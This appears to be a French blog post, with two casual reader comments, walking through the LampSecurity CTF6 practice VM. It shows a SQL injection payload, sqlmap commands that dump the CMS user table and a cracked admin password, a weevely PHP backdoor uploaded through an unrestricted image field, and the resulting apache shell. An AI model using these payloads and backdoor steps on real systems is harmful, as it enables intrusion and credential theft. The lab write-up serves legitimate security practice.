mercredi 28 mars 2012

LampSec CTF6 sur "avance rapide"

Je m'ennuyais ferme aujourd'hui, j'ai donc décidé d'essayer l'une des machine virtuelles proposée par LampSecurity.

L'image de la machine virtuelle est disponible ici:

http://mirror.transact.net.au/pub/sourceforge/l/project/la/lampsecurity/CaptureTheFlag/ctf6/lampsecurity.org.ctf6.tar.gz

Une fois démarrée sous VMware, la machine publie un site web de gestion de news. On repère rapidement une injection SQL dans le module d'affichage des news:


http://192.168.1.98/index.php?id=-1 UNION SELECT 1,2,3,4,5,6,7 #



On va utiliser l'outil sqlmap pour piller la DB du site sans se fouler la cheville:

Récupération des noms des bases existantes:


$ ./sqlmap.py --url http://192.168.1.98/index.php?id=1 --dbs

[14:48:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5
web application technology: PHP 5.2.6, Apache 2.2.3
back-end DBMS: MySQL 5.0.11
[14:48:38] [INFO] fetching database names
available databases [5]:
[*] cms
[*] information_schema
[*] mysql
[*] roundcube
[*] test



Les noms des tables de la base "cms" :


$ ./sqlmap.py --url http://192.168.1.98/index.php?id=1 -D cms --tables

[14:50:13] [INFO] fetching tables for database 'cms'
Database: cms
[3 tables]
+-------+
| event |
| log |
| user |
+-------+



Le contenu de la table "user" (On répondra "yes" lorsque sqlmap nous proposera de tenter un bruteforce des hash détectés) :


./sqlmap.py --url http://192.168.1.98/index.php?id=1 -D cms -T user --dump

Database: cms
Table: user
[1 entry]
+---------+----------------------------------------------+---------------+
| user_id | user_password | user_username |
+---------+----------------------------------------------+---------------+
| 1 | 25e4ee4e9229397b6b17776bfceaf8e7 (adminpass) | admin |
+---------+----------------------------------------------+---------------+



On peut maintenant se connecter en tant qu'administrateur du CMS.

En observant le module de création d’événement, on repère rapidement qu'il est possible d'uploader n'importe quel type de fichier via le champs image du formulaire...

On va utiliser weevely , un shell php plutôt sympa:

On va tout d'abord générer notre backdoor:


$ ./weevely.py generate p4ssw0rd evil.php

Weevely 0.6 - Generate and manage stealth PHP backdoors
Emilio Pinna 2011-2012

+ Backdoor file 'evil.php' created with password 'p4ssw0rd'.



On la dépose ensuite sur le site cible par le formulaire de création d’événement, puis, on tente de s'y connecter:


$ ./weevely.py http://192.168.1.98/files/evil.php p4ssw0rd
Weevely 0.6 - Generate and manage stealth PHP backdoors
Emilio Pinna 2011-2012

[+] Starting terminal. Shell probe may take a while...

[+] List modules with and show help with :show [module name]

apache@localhost.localdomain:/var/www/html/files$ id
uid=48(apache) gid=48(apache) groups=48(apache)
apache@localhost.localdomain:/var/www/html/files$



Bingo, parti de la il faudrait continuer en utilisant l'exploit udev local root dispo ici : http://www.exploit-db.com/exploits/8572/ ou ici http://www.exploit-db.com/exploits/8478/

J'ai eu d'une part la flemme d'aller plus loin, et d'autre part l'exploit nécessite certains paramètres un peu aléatoires que je n'ai pas le courage de chercher...

2 commentaires:

Steven K a dit…

Je m'ennuyais ferme aujourd'hui // va taffé branleur !
J'ai eu d'une part la flemme d'aller plus loin // rhooo...
nan plus sérieusement cool, enfin du news sur ton blog ;)

sm0k a dit…

Héhé, c'est pas que j'ai la flemme d'écrire mais je sais pas de quoi parler :D On en est tous la je crois!